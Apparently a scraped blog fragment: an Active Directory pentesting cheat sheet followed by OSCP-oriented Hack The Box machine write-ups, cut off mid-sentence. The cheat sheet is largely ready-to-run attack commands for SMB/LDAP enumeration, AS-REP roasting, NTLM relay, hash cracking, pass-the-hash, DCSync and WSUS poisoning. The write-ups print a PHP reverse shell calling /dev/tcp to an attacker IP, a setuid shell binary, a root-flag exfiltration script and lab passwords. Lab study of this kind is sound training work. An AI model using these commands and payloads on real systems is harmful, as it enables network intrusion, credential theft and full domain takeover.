\u0026lt;dc-ip\u0026gt; smbmap -u \u0026#34;\u0026#34; -p \u0026#34;\u0026#34; -P 445 -H \u0026lt;dc-ip\u0026gt; \u0026amp;\u0026amp; smbmap -u \u0026#34;guest\u0026#34; -p \u0026#34;\u0026#34; -P 445 -H \u0026lt;dc-ip\u0026gt; smbclient -U \u0026#39;%\u0026#39; -L //\u0026lt;dc-ip\u0026gt; \u0026amp;\u0026amp; smbclient -U \u0026#39;guest%\u0026#39; -L //\u0026lt;dc-ip\u0026gt; cme smb \u0026lt;ip\u0026gt; -u \u0026#39;\u0026#39; -p \u0026#39;\u0026#39; # Enumerate SMB shares accessible through a null session cme smb \u0026lt;ip\u0026gt; -u \u0026#39;a\u0026#39; -p \u0026#39;\u0026#39; # Enumerate anonymously accessible SMB shares enum4linux -a -u \u0026#34;\u0026#34; -p \u0026#34;\u0026#34; 192.168.139.153 \u0026amp;\u0026amp; enum4linux -a -u \u0026#34;guest\u0026#34; -p \u0026#34;\u0026#34; 192.168.139.153 smbmap -u \u0026#34;\u0026#34; -p \u0026#34;\u0026#34; -P 445 -H 192.168.139.153 \u0026amp;\u0026amp; smbmap -u \u0026#34;guest\u0026#34; -p \u0026#34;\u0026#34; -P 445 -H 192.168.139.153 smbclient -U \u0026#39;%\u0026#39; -L //192.168.139.153 \u0026amp;\u0026amp; smbclient -U \u0026#39;guest%\u0026#39; -L //192.168.139.153 crackmapexec smb 192.168.139.153 -u \u0026#39;\u0026#39; -p \u0026#39;\u0026#39; crackmapexec smb 192.168.139.153 -u \u0026#39;a\u0026#39; -p \u0026#39;\u0026#39; Enumerate LDAP 1 2 3 4 5 nmap -n -sV --script \u0026#34;ldap* and not brute\u0026#34; -p 389 \u0026lt;dc-ip\u0026gt; ldapsearch -x -H \u0026lt;ip\u0026gt; -s base ldapsearch -x -H ldap://10.10.10.161:389 -s base ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local \u0026#34;(objectClass=person)\u0026#34; \u0026#34;*\u0026#34; + Find Usernames 1 2 3 4 5 6 7 8 9 10 11 enum4linux -U \u0026lt;dc-ip\u0026gt; | grep \u0026#39;user:\u0026#39; crackmapexec smb \u0026lt;ip\u0026gt; -u \u0026lt;user\u0026gt; -p \u0026#39;\u0026lt;password\u0026gt;\u0026#39; --users nmap -p 88 --script=krb5-enum-users --script-args=\u0026#34;krb5-enum-users.realm=\u0026#39;\u0026lt;domain\u0026gt;\u0026#39;,userdb=\u0026lt;users_list_file\u0026gt;\u0026#34; \u0026lt;ip\u0026gt; OSINT - Find usernames on the internet # Newly recorded kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.208.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100 /usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt Now we have the accounts, but no passwords.\nPassword Spraying 1 2 3 4 5 Retrieve the domain password policy: crackmapexec \u0026lt;IP\u0026gt; -u \u0026#39;user\u0026#39; -p \u0026#39;password\u0026#39; --pass-pol enum4linx -u \u0026#39;username\u0026#39; -p \u0026#39;password\u0026#39; -P \u0026lt;IP\u0026gt; cme smb \u0026lt;dc-ip\u0026gt; -u user.txt -p password.txt --no-bruteforce # Do not brute-force; test only matching user=password pairs cme smb \u0026lt;dc-ip\u0026gt; -u user.txt -p password.txt # Test all combinations; too many failures may trigger lockout depending on the password policy ASREP-Roasting Attack Retrieve hashes\n1 2 3 4 5 python GetNPUsers.py \u0026lt;domain\u0026gt;/ -usersfile \u0026lt;usernames.txt\u0026gt; -format hashcat -outputfile \u0026lt;hashes.domain.txt\u0026gt; Rubeus asreproast /format:hashcat GetNPUsers.py intelligence.htb/ -usersfile user.txt -no-pass -dc-ip 10.10.10.248 GetNPUsers.py -no-pass -dc-ip 10.10.10.248 intelligence.htb/Jose.Williams Find ASREP-Roastable accounts\n1 2 3 GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat Get-DomainUser -PreauthNotRequired -Properties SamAccountName MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]-\u0026gt;(c)) RETURN p Once You Have the Credentials for Any Domain User Retrieve passwords for other accounts\n1. Get All Account Names in the Domain 1 GetADUsers.py -all -dc-ip \u0026lt;dc_ip\u0026gt; \u0026lt;domain\u0026gt;/\u0026lt;username\u0026gt; 2. Enumerate SMB Shares https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.4.0\n1 cme smb \u0026lt;ip\u0026gt; -u \u0026lt;user\u0026gt; -p \u0026lt;password\u0026gt; --shares 3. BloodHound https://github.com/dirkjanm/BloodHound.py\n1 2 3 bloodhound-python -d \u0026lt;domain\u0026gt; -u \u0026lt;user\u0026gt; -p \u0026lt;password\u0026gt; -gc \u0026lt;dc\u0026gt; -c all bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 -c all bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 --zip -c all 4. Enumerate DNS Servers https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py\n1 2 dnstool.py -u \u0026#39;DOMAIN\\user\u0026#39; -p \u0026#39;password\u0026#39; --record \u0026#39;*\u0026#39; --action query \u0026lt;dc_ip\u0026gt; python3 dnstool.py -u \u0026#39;intelligence.htb\\Tiffany.Molina\u0026#39; -p \u0026#39;NewIntelligenceCorpUser9876\u0026#39; -r webtestaa.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248 Relay/Poisoning Attacks Scan for machines without SMB signing enabled.\n1 2 3 nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK use exploit/windows/smb/smb_relay cme smb $hosts --gen-relay-list relay.txt PetitPotam\n1 PetitPotam.py -d \u0026lt;domain\u0026gt; \u0026lt;listener_ip\u0026gt; \u0026lt;target_ip\u0026gt; You can follow this up with an AD CS attack.\nStart listening\n1 2 responder -i eth0 mitm6 -d \u0026lt;domain\u0026gt; No SMB Signing || IPv6 Enabled || ADCS MS08-068 1 2 3 4 5 use exploit/windows/smb/smb_relay # Commonly used for Windows 2003 / Windows Server 2008 responder -I eth0 # Remember to disable the local SMB and HTTP services first ntlmrelayx.py -tf targets.txt mitm6 -i eth0 -d 1 2 3 4 5 6 7 ntlmrelayx.py -6 -wh \u0026lt;attacker_ip\u0026gt; -l /tmp -socks -debug ntlmrelayx.py -6 -wh \u0026lt;attacker_ip\u0026gt; -t smb://\u0026lt;target\u0026gt; -l /tmp -socks -debug ntlmrelayx.py -t ldaps://\u0026lt;dc_ip\u0026gt; -wh \u0026lt;attacker_ip\u0026gt; --delegate-access getST.py -spn cifs/\u0026lt;target\u0026gt; \u0026lt;domain\u0026gt;/\u0026lt;netbios_name\u0026gt;\\$ -impersonate \u0026lt;user\u0026gt; adcs 1 2 3 ntlmrelayx.py -t http://\u0026lt;dc_ip\u0026gt;/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController Rubeus.exe asktgt /user:\u0026lt;user\u0026gt; /certificate:\u0026lt;base64-certificate\u0026gt; /ptt Crack the Captured hash LM 1 2 3 john --format=lm hash.txt hashcat -m 3000 -a 3 hash.txt NTLM 1 2 3 john --format=nt hash.txt hashcat -m 1000 -a 3 hash.txt NTLMv1 1 2 3 john --format=netntlm hash.txt hashcat -m 5500 -a 3 hash.txt NTLMv2 1 2 3 john --format=netntlmv2 hash.txt hashcat -m 5600 -a 0 hash.txt rockyou.txt Kerberos 5 TGS 1 2 3 john spn.txt --format=krb5tgs --wordlist=rockyou.txt hashcat -m 13100 -a 0 spn.txt rockyou.txt Kerberos ASREP 1 hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt Lateral Movement PTH 1 2 3 4 5 6 7 8 9 psexec.py -hashes \u0026#34;:\u0026lt;hash\u0026gt;\u0026#34; \u0026lt;user\u0026gt;@\u0026lt;ip\u0026gt; wmiexec.py -hashes \u0026#34;:\u0026lt;hash\u0026gt;\u0026#34; \u0026lt;user\u0026gt;@\u0026lt;ip\u0026gt; atexec.py -hashes \u0026#34;:\u0026lt;hash\u0026gt;\u0026#34; \u0026lt;user\u0026gt;@\u0026lt;ip\u0026gt; \u0026#34;command\u0026#34; evil-winrm -i \u0026lt;ip\u0026gt;/\u0026lt;domain\u0026gt; -u \u0026lt;user\u0026gt; -H \u0026lt;hash\u0026gt; xfreerdp /u:\u0026lt;user\u0026gt; /d:\u0026lt;domain\u0026gt; /pth:\u0026lt;hash\u0026gt; /v:\u0026lt;ip\u0026gt; PTK 1 2 3 4 5 6 7 8 python getTGT.py \u0026lt;domain\u0026gt;/\u0026lt;user\u0026gt; -hashes :\u0026lt;hashes\u0026gt; export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache python psexec.py \u0026lt;domain\u0026gt;/\u0026lt;user\u0026gt;@\u0026lt;ip\u0026gt; -k -no-pass Rubeus asktgt /user:victim /rc4:\u0026lt;rc4value\u0026gt; Rubeus ptt /ticket:\u0026lt;ticket\u0026gt; Rubeus createnetonly /program:C:\\Windows\\System32\\[cmd.exe||upnpcont.exe] Rubeus ptt /luid:0xdeadbeef /ticket:\u0026lt;ticket\u0026gt; Unconstrained Delegation Retrieve tickets\n1 2 3 4 5 privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export Rubeus dump /service:krbtgt /nowrap Rubeus dump /luid:0xdeadbeef /nowrap Find hosts configured for unconstrained delegation\n1 2 3 4 5 6 7 Get-NetComputer -Unconstrained Get-DomainComputer -Unconstrained -Properties DnsHostName MATCH (c:Computer {unconstraineddelegation:true}) RETURN c MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]-\u0026gt;(c)) RETURN p Constrained Delegation Retrieve tickets\n1 2 3 4 5 privilege::debug sekurlsa::tickets /export sekurlsa::tickets / Rubeus dump /service:krbtgt /nowrap Rubeus dump /luid:0xdeadbeef /nowrap Find hosts configured for constrained delegation\n1 2 3 4 5 Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]-\u0026gt;(t)) RETURN p MATCH (u:User {owned:true}), (c:Computer {name: \u0026#34;\u0026lt;MYTARGET.FQDN\u0026gt;\u0026#34;}), p=shortestPath((u)-[*1..]-\u0026gt;(c)) RETURN p Resource-Based Constrained Delegation dcsync 1 lsadump::dcsync /domain:htb.local /user:krbtgt # Any account in Administrators, Domain Admins, or Enterprise Admins works Exploiting the Print Spooler Service Vulnerability 1 2 rpcdump.py \u0026lt;domain\u0026gt;/\u0026lt;user\u0026gt;:\u0026lt;password\u0026gt;@\u0026lt;domain_server\u0026gt; | grep MS-RPRN printerbug.py \u0026#39;\u0026lt;domain\u0026gt;/\u0026lt;username\u0026gt;:\u0026lt;password\u0026gt;\u0026#39;@\u0026lt;Printer IP\u0026gt; \u0026lt;RESPONDERIP\u0026gt; AD ACL Attacks (aclpwn.py) 1 2 3 4 5 6 7 8 9 10 GenericAll on User GenericAll on Group GenericAll / GenericWrite / Write on Computer WriteProperty on Group Self (Self-Membership) on Group WriteProperty (Self-Membership) ForceChangePassword WriteOwner on Group GenericWrite on User WriteDACL + WriteOwner Retrieve the LAPS Administrator Password 1 2 3 Get-LAPSPasswords -DomainController \u0026lt;ip_dc\u0026gt; -Credential \u0026lt;domain\u0026gt;\\\u0026lt;login\u0026gt; | Format-Table -AutoSize foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}} PrivExchange Vulnerability 1 2 3 python privexchange.py -ah \u0026lt;attacker_host_or_ip\u0026gt; \u0026lt;exchange_host\u0026gt; -u \u0026lt;user\u0026gt; -d \u0026lt;domain\u0026gt; -p \u0026lt;password\u0026gt; ntlmrelayx.py -t ldap://\u0026lt;dc_fqdn\u0026gt;--escalate-user \u0026lt;user\u0026gt; Exchange Exploitation\nExchange2domain CVE-2018-8581 CVE-2019-1040 CVE-2020-0688 NtlmRelayToEWS ewsManage CVE-2021-26855 CVE-2021-28482 IPC Other Lateral Movement Techniques 1 2 3 4 5 6 7 1. Inject a malicious program update into the WSUS server database\tWSUSpendu.ps1 # The WSUS update distribution server must be compromised first 2.MSSQL Trusted Links\tuse exploit/windows/mssql/mssql_linkcrawler 3.GPO Delegation 4.ADCS ","date":"2024-11-17T12:00:00+08:00","permalink":"/p/active-directory-basic-workflow/","title":"Active Directory Pentesting: A Basic Workflow"},{"content":"These notes cover most of the Hack The Box machines relevant to OSCP and mostly follow my own thought process.\n1.sense Information gathering:\n(The machine has been shut down, but it looked roughly like this.)\nFound a password at https://10.10.10.60/system-users.txt\nThe default account/password is admin:pfsense\nThe current username and password are rohit/pfsense\nWhatWeb did not identify the technology. I searched the page source for sense and discovered that the target was running pfSense, which led me to the steps below.\nAfter logging in successfully, the home page shows version 2.1.3-RELEASE\nThere was a problem with the exploit.\nThe source code could not be used directly, so I modified it to construct the payload.\nSSL was probably enabled, which caused the request to fail. I worked around it by making the request manually, putting the cookie into the code, and adjusting the script. This requires some familiarity with Python.\nVisiting it triggered a reverse shell directly. The machine has been shut down, so there is no screenshot.\nTwo flags:\n/home/rohit/user.txt\n/root/root.txt\nBeginner difficulty.\n2.Nibbles Information gathering:\nStart with a simple scan.\nFingerprinting.\nFound the default credentials.\nadmin/nibbles\nkali comes with an msf exploit script, but for oscp you generally do not use msf scripts.\nI found a github script, and the vulnerability description also makes it possible to build the script yourself.\nhttps://github.com/dix0nym/CVE-2015-6967\nI read through the code. It mainly uploads a file through admin.php?controller=plugins\u0026amp;action=config\u0026amp;plugin=my_image\nThen visit it to execute the file. A php file that launches a reverse shell is enough.\n\u0026lt;?php exec(\u0026ldquo;bash -c \u0026rsquo;exec bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.19/9999 \u0026lt;\u0026amp;1\u0026rsquo;\u0026rdquo;);?\u0026gt;\nReceived a shell as nibbler.\nhttp://10.10.10.75/nibbleblog/content/\nThis was a directory traversal point. Rather than reading every file, I went straight for the configuration file, but Nibbleblog\u0026rsquo;s permission restrictions prevented me from reading it.\nI found three possibilities. The most obvious exploit should be the last one, but I still tried them one by one.\nFirst, create a tty.\npython3 -c \u0026lsquo;import pty; pty.spawn(\u0026quot;/bin/bash\u0026quot;)\u0026rsquo;\nWe do not know the password, so leave this one for now.\n.nano contained nothing, so let\u0026rsquo;s go straight to the final option.\nJust escalate privileges directly.\nPrivilege escalation complete. This was also beginner level; it was mainly about becoming familiar with the various operations.\n3.solidstate I finished the box, but I\u0026rsquo;m borrowing someone else\u0026rsquo;s screenshot here because parts of my approach had problems.\nInformation gathering:\nOn port 80 I only found an email-sending interface. I looked around for ages and found nothing.\nI had never dealt with nntp or james-admin before.\nsmtp probably would not require a login because there was no need to send email, so at the time I focused on pop3.\nTesting suggested that webadmin@solid-state-security.com existed, but I did not know the password. I spent most of my time trying to find the pop3 password for webadmin@solid-state-security.com.\nLater, I found an exploit.\nThe modified script executed successfully, but according to the description, someone had to log in over ssh before the command I inserted would execute. The command I inserted launched a reverse shell.\nSo this route would not work.\nThis was my first blind spot: james remote admin on port 4555.\nWhile reading the previous python script, I noticed that it defined the credentials root/root at the start.\nThe script also depended on these weak credentials to execute successfully. In other words, it logged in to port 4555 with these credentials.\nThe screenshot of the commands run after connecting directly to 4555 with telnet is gone. Roughly speaking, enter the username and password, then type help.\nIt displays many commands, including one for listing accounts. You can change the passwords for those accounts, then log in over pop3 and read the received emails. Just reset all of their passwords.\nCheck them one by one.\nI eventually found a password in mindy\u0026rsquo;s account.\nThe basic pop3 commands are all available online.\nAt this point I had a foothold, so privilege escalation came next. I also made a mistake during privilege escalation and checked someone else\u0026rsquo;s write-up.\nThe login succeeded. As a small aside, remember how the reverse shell required someone to log in? The other listener happened to receive it.\nJust stop the listener.\nI used this guide to escape rbash. It is very detailed.\nhttps://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D\nssh mindy@10.10.10.51 -t \u0026ldquo;bash \u0026ndash;noprofile\u0026rdquo;\nI ran into many problems while escalating privileges.\nMy approach was to start with sudo, but sudo was unavailable, and I did not know the root password needed to switch users with su.\nI checked suid and found nothing. I also checked cron. None of the usual privilege-escalation paths turned up anything.\nI then searched for files and only found /opt/tmp.py. This file was highly suspicious, but at the time I could not find anything linked to it. I added os.system(\u0026ldquo;id\u0026rdquo;) to check its privileges, but I could not determine whether the file was run by a scheduled task.\nObviously, it could only have the current user\u0026rsquo;s privileges, but I genuinely could not determine whether it was a scheduled task.\ndebian9 4.9.0-3-686-pae also had no privilege-escalation vulnerabilities at all.\nI had already turned my attention to /bin/ under the user\u0026rsquo;s directory because it also had 777 permissions and was owned by root, but in practice I could not use sudo.\nOnly after reading a write-up did I discover that /opt/tmp.py was run by a scheduled task. I checked several write-ups; they found it using pspy or https://linpeas.sh/.\nJust write something that launches a reverse shell.\nI had actually collected all these scripts before, but never developed the habit of using them. My thought process was still flawed, though this did help me improve it.\n4.Node Information gathering:\nI started with the web application. It was built with node.js, and I found several usernames worth noting down.\nI went through the js files and found two endpoints.\nhttp://10.10.10.58:3000/api/users/\nhttp://10.10.10.58:3000/api/users/latest\nWhy did these three people take longer to appear on the home page? At first I thought their images were loading slowly over AJAX, but the real reason caught me by surprise.\nThere is actually a tool that can find these quickly, jsfinder, but oscp generally does not allow automated scripts like this, so for now I am reviewing them manually.\nOnly the last one did not turn up.\nmyP14ceAdm1nAcc0uNT manchester\ntom spongebob\nmark snowflake\nTry each one against ssh and the website.\nOnly the administrator can download the backup. This endpoint is also present in the front-end js, but it requires authentication: /api/admin/backup\nAfter decoding the backup file from base64, I found that it was a binary file. I tried many methods but could not unpack it.\nEventually I discovered that it was a zip file.\nDecode the base64 into a file, then unzip it.\napp.js contains the mongodb password, and ssh can connect directly.\nmark:5AYRft73VtFpc84k\nThis time I uploaded a script first to escalate privileges. None of the standard privilege-escalation paths worked, so I checked the kernel and found an exp. This one was the best match.\nUpload it, compile it, and run it to obtain root privileges.\n5.valentine Information gathering:\nI found an interesting file in the dev directory. After decoding it, it looked like this.\nThere was an aes-encrypted key and an rsa private key. It felt like they might be used for an ssh connection, and judging by the name the user should be hype. Let\u0026rsquo;s try it.\nAll right, it is asking us for the key\u0026rsquo;s password.\nEven rockyou did not contain the password. It felt like there was still something in the web page.\nJudging from the notes, something needed to be decoded: make sure encoding and decoding are done on the client, fix this before going live, and do not use any encoder or decoder until it is complete.\nHonestly, I was completely confused. I focused on the image, thinking it might be a technical issue, but found that the image contained nothing at all.\nI pinned my hopes on directory brute-forcing. It was genuinely slow, but later I did find several encrypted php files.\nI had actually forgotten the most important step here. Sometimes an important hint is a directory you can test manually.\nIn practice, there was nothing there either. I had no ideas left.\nI eventually had to check a write-up and discovered something I had never learned before: scanning with \u0026ndash;script vuln in nmap.\nIt scans for vulnerabilities, and one of the vulnerabilities it mentioned was Heartbleed. I knew nothing about it, so this broadened my thinking.\nhttps://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com\n# This is the packet that triggers the memory over-read.\n# The heartbeat protocol works by returning to the client the same data that was sent.\n# That is, if we send \u0026ldquo;abcd\u0026rdquo; the server will return \u0026ldquo;abcd\u0026rdquo;.\n# The flaw is triggered when we tell the server that we are sending a message that is X bytes long\n# (64 kB in this case), but we send a shorter message; OpenSSL won\u0026rsquo;t check if we really sent the X bytes of data.\n# The server will store our message, then read the X bytes of data from its memory\n# (it reads the memory region where our message is supposedly stored) and sends that read message back.\n# Because we didn\u0026rsquo;t send any message at all\n# (we just told that we sent FF FF bytes, but no message was sent after that)\n# when OpenSSL receives our message, it won\u0026rsquo;t overwrite any of OpenSSL\u0026rsquo;s memory.\n# Because of that, the received message will contain X bytes of actual OpenSSL memory.\nThis explains it in great detail and makes the basic logic clear. We tell the server how many bytes we sent, but in reality we did not send them. It still returns that many bytes, and because we sent no actual information, it returns private information from the server\u0026rsquo;s memory instead.\nkali includes several scripts, so I tested one of them.\nI read through the script. It was very easy to use and even allowed a custom port.\nI restarted the target, mainly because I had run nmap and the directory brute-forcing tools so much that all the important information had disappeared. I stared at it for ages, and every ua header was from nmap.\nAfter looping several times and still finding nothing, I wrote a script and eventually found the important text.\nIt decodes to heartbleedbelied\nAnother new problem. Let\u0026rsquo;s check google.\nFinally got a foothold. Time to escalate privileges.\nThe first thing was still to check sudo for conventional privilege escalation, but without the password I could not use it. I started exploring files, first uploading LinEnum.sh and pspy.\nWhile exploring, I found that this linux version was very old and had a corresponding vulnerability, so I started trying the exp.\nubuntu 12.04\nI found many exp, but none of them worked.\nSo I started exploring files. The command history contained many interesting things.\ntmux -S /.devs/dev_sess\nI ran it and immediately escalated to root.\nLet\u0026rsquo;s understand why.\nThis file was assigned to the hype group and given read and write permissions, so the socket file could be used directly for communication.\nThis was actually visible here too.\nThe official difficulty was easy, but it felt closer to medium for me, mainly because I did not think of using Nmap.\n6.Poison Information gathering:\nThere was a file inclusion point on port 80.\nThere was a lot to exploit here. First, it allowed arbitrary file reads. There was also phpinfo information, and another file exposed a password.\nWith both the username and password, the login succeeded.\nGoing back to the file inclusion issue, remote code execution had been disabled.\nHowever, php code could still be written into the log, and including the log could also launch a reverse shell.\nBut that user\u0026rsquo;s privileges seemed too limited.\nLet\u0026rsquo;s log in directly here.\nI went through everything and saw something interesting: the user\u0026rsquo;s shell was cshell. There was also a secret.zip file that required a password.\nTransfer it to kali with nc and run john against rockyou.\nIt did not crack the password.\nIt turned out that the password was simply the login password: Charix!2#4%6\u0026amp;8(0\nThere was nothing in it. I did not understand what it was, but I could confirm that it was a binary file.\nUpload the scripts and start collecting interesting findings.\nScheduled task: root runs /usr/libexec/atrun once every 5 minutes.\nThere was nothing in this configuration file either.\nAt this point I found that there were no conventional privilege-escalation paths at all, so I checked the kernel.\nThe kernel did not have any useful vulnerabilities either.\nI could only read write-ups. Every one I checked used vnc for privilege escalation. Once I knew the entry point, I started exploring.\nvnc was indeed running, but why exploit vnc? My understanding was that there must be some vnc credentials to find. vnc was currently hosted locally, so port forwarding was required.\nDisabling the firewall did not help because it was bound to 127.0.0.1.\nSince ssh was accessible, use ssh directly for the forwarding.\nssh tunnel: https://wangdoc.com/ssh/port-forwarding, https://harttle.land/2022/05/02/ssh-port-forwarding.html\nssh -L 8081:localhost:5901 charix@10.10.10.84\nAfter setting up the tunnel, use the file extracted earlier.\nvncviewer -passwd secret 127.0.0.1:5901\nThis was the vnc password file.\nIt can also be decrypted with https://github.com/jeroennijhof/vncpwd\nThat completes it. The later machines get increasingly difficult, so the main goal is to learn the approach. Port forwarding does not have to use ssh; ssh is simply very convenient.\nLooking back at a write-up, I also found something I had missed: a phpinfo race condition.\nhttps://github.com/vulhub/vulhub/tree/master/php/inclusion\n7.TartarSauce Information gathering:\nOnly port 80 was open, so I will not include an image.\nI am filling this in later, so some of the configuration may look a little strange.\nThere was nothing on this page. Later, robots and directory brute-forcing revealed several locations.\nhttp://10.10.10.88/webservices/monstra-3.0.4/admin/ weak credentials admin/admin\nHowever, it prevented files from being modified, so no files could be uploaded. None of the exp I found worked. I wasted a great deal of time here before realizing it was a Rabbit Hole.\nI checked gobuster and found another directory mentioned in a write-up.\nThis was wordpress. I found a wpadmin user, but could not crack the password.\nMy notes here were sparse, but this route really did work, so I recorded it. I ran into many misconceptions while working through it and kept searching.\nIn the end, I could not make any progress through wordpress and checked a write-up. My wpscan could not find the vulnerable point at all, and neither could the nmap scripts. Only after adding threads to wpscan could it finish in 20 minutes. It was far too slow. Moving on.\nAt this point I was completely stuck and had no choice but to check the next step in a write-up. The key was that the gwolle-gb plugin had a remote file inclusion vulnerability that provided a foothold. In most write-ups, this was found by adding \u0026ndash;plugins-detection aggressive to wpscan for a comprehensive scan. It took 3 hours when I ran it; adding threads later reduced that to 20 minutes.\nwpscan \u0026ndash;url http://10.10.10.88:80/webservices/wp -e ap \u0026ndash;plugins-detection aggressive -t 50\nnmap\nhttps://nmap.org/nsedoc/scripts/http-wordpress-enum.html\nhttps://nosec.org/home/detail/2844.html\t#collect plugins\nThis also returned results. Check the plugins one by one.\nFound the key point and completed the attack chain. Next, find an exp.\nJust concatenate the path and host a reverse-shell script.\nAccording to the description and what I encountered myself, the URL appends wp-load.php to the end.\nJust construct the filename.\nStart privilege escalation by gathering information.\nAfter some basic collection, the information strongly suggested using sudo tar to pivot to onuma.\nLet\u0026rsquo;s try it.\nCreate a tty.\nRun the script again to gather information.\nI used find on the .nano history but found nothing.\nBased on the mysql history, I tried connecting to the database, but unfortunately the connection failed.\nHowever, pspy helped me find something interesting.\nIt was exactly the same as the entry in the mysql history.\nI looked it up.\nClearly, all of the entries above were scheduled tasks, but my permissions were insufficient, so they were not shown to me.\n(After finishing and reading a write-up, I learned that locate can show how often it runs. find can as well, of course, but I did not think of it at the time. At least the direction was correct.)\nThe assigned permissions prevented me from finding it. Let\u0026rsquo;s inspect its contents.\nI read through all of it. Every variable was hard-coded and could not be substituted.\nIn other words, it moves this backup file into the directory in the $tmpfile variable with root privileges. We need to forge the archive at $tmpfile.\nThere is no race-condition issue because it waits for 30 seconds.\nAccording to the variable description, it needs to compare:\n/var/www/html\n/var/tmp/var/www/html\nIf they differ it returns 1 and reports an error; if they match it returns 0.\nWhat we need to do is actually very simple.\ntmp can be changed freely. Write a file and replace the archived tmp file; the tmpfile variable is /var/tmp.\nThere are many files below it. Watch the processes with pspy and replace the file as soon as it runs.\nWrite the bash script. If everything is correct, granting it execute permissions and running it will launch a reverse shell. Writing su root may also work.\nPackage it as a file. Based on the basedir directory structure, it should contain /var/www/html.\nPackage it as 111.\nReplace it as soon as it appears. It successfully triggers check.\nBut the permissions on 1.sh were still onuma\u0026rsquo;s, and after extraction it became a binary file. Everything was gone.\nThere were major problems with this step. First, the contents were corrupted into binary gibberish, and second, the permissions were wrong.\nlinux has a useful behavior: if I set its permissions on kali, package it, and send it to the target, it retains the permissions from kali when extracted on the target.\nSo I packaged a bash file with rwsr-sr-x permissions and uploaded it.\nThe permissions were correct on the target, but execution still failed. After looking it up, I learned that:\nOn Unix/Linux systems, SUID (set user ID) may behave differently for binary executables and scripts. Many modern Linux distributions place additional security restrictions on SUID scripts to prevent potential security risks. This means that even with SUID set, a script may still fail to execute as expected and instead run as an ordinary user.\nSometimes suid or sudo can be used directly for privilege escalation, but that clearly did not work here.\nSo sudo was still required to execute it. In other words, a binary can work without sudo, but a bash script like this still needs sudo.\nI had to upload a binary file here.\n1 2 3 4 5 6 7 8 9 ```c #include \u0026amp;lt;unistd.h\u0026amp;gt; void main() { execl(\u0026#34;/bin/bash\u0026#34;, \u0026#34;bash\u0026#34;, \u0026#34;-p\u0026#34;, NULL); } ```text The target machine was 32-bit.\ngcc 1.c -o 1 -m32\nPackage it and upload it to the target machine.\nIt still reported an error. This was getting ridiculous.\ngcc -static -m32 -o 1 1.c\nThat finally completed it. Interestingly, I saw a write-up with a very good approach.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #!/bin/bash # work out of shm cd /dev/shm # set both start and cur equal to any backup file if it\u0026#39;s there start=$(find /var/tmp -maxdepth 1 -type f -name \u0026#34;.*\u0026#34;) cur=$(find /var/tmp -maxdepth 1 -type f -name \u0026#34;.*\u0026#34;) # loop until there\u0026#39;s a change in cur echo \u0026#34;Waiting for archive filename to change...\u0026#34; while [ \u0026#34;$start\u0026#34; == \u0026#34;$cur\u0026#34; -o \u0026#34;$cur\u0026#34; == \u0026#34;\u0026#34; ] ; do sleep 10; cur=$(find /var/tmp -maxdepth 1 -type f -name \u0026#34;.*\u0026#34;); done # Grab a copy of the archive echo \u0026#34;File changed... copying here\u0026#34; cp $cur . # get filename fn=$(echo $cur | cut -d\u0026#39;/\u0026#39; -f4) # extract archive tar -zxf $fn # remove robots.txt and replace it with link to root.txt rm var/www/html/robots.txt ln -s /root/root.txt var/www/html/robots.txt # remove old archive rm $fn # create new archive tar czf $fn var # put it back, and clean up mv $fn $cur rm $fn rm -rf var # wait for results echo \u0026#34;Waiting for new logs...\u0026#34; tail -f /var/backups/onuma_backup_error.txt I read through the code.\nIt gets files in that directory whose names start with a dot, then hard-codes the result. An infinite loop checks for changes: if the file list has not changed, it keeps looping; if it has changed, it assigns the result to cur, moves the target file into the working directory defined above, extracts it, deletes robots.txt, replaces it with an ln link to /root/root.txt, moves and renames the file, and deletes the temporary files.\nAs for why onuma_backup_error.txt contains the flag, the answer is all in backeruperer.\nerrormsg is defined as this file.\nThe integrity_chk function calls diff -r, which compares every directory and file and also outputs any differences it encounters.\nHere it writes the error information to errormsg, which is the onuma_backup_error.txt file from earlier.\nThat is how the flag can be obtained.\nThis script\u0026rsquo;s logic is so clear that it almost feels like the author wrote it.\nThis one machine took me from the afternoon until the evening, and I ran into a huge number of pitfalls. At least this was not the exam and I learned a lot; hitting these problems during the exam would be fatal.\n8.Irked Information gathering:\nConnect to ssh and see whether it provides any hints.\nCheck port 80.\nI had forgotten about irc, so I searched and found that I had used it before: https://en.wikipedia.org/wiki/IRC. hexchat is a chat tool. The target had the default port 6697 open, along with ports 8067 and 65534. The version was UnrealIRCd, and the administrator\u0026rsquo;s email address was also available.\n4.ircbind https://blog.csdn.net/ichen820/article/details/120365560 is a good article. It is related to nfs, but the nfs port 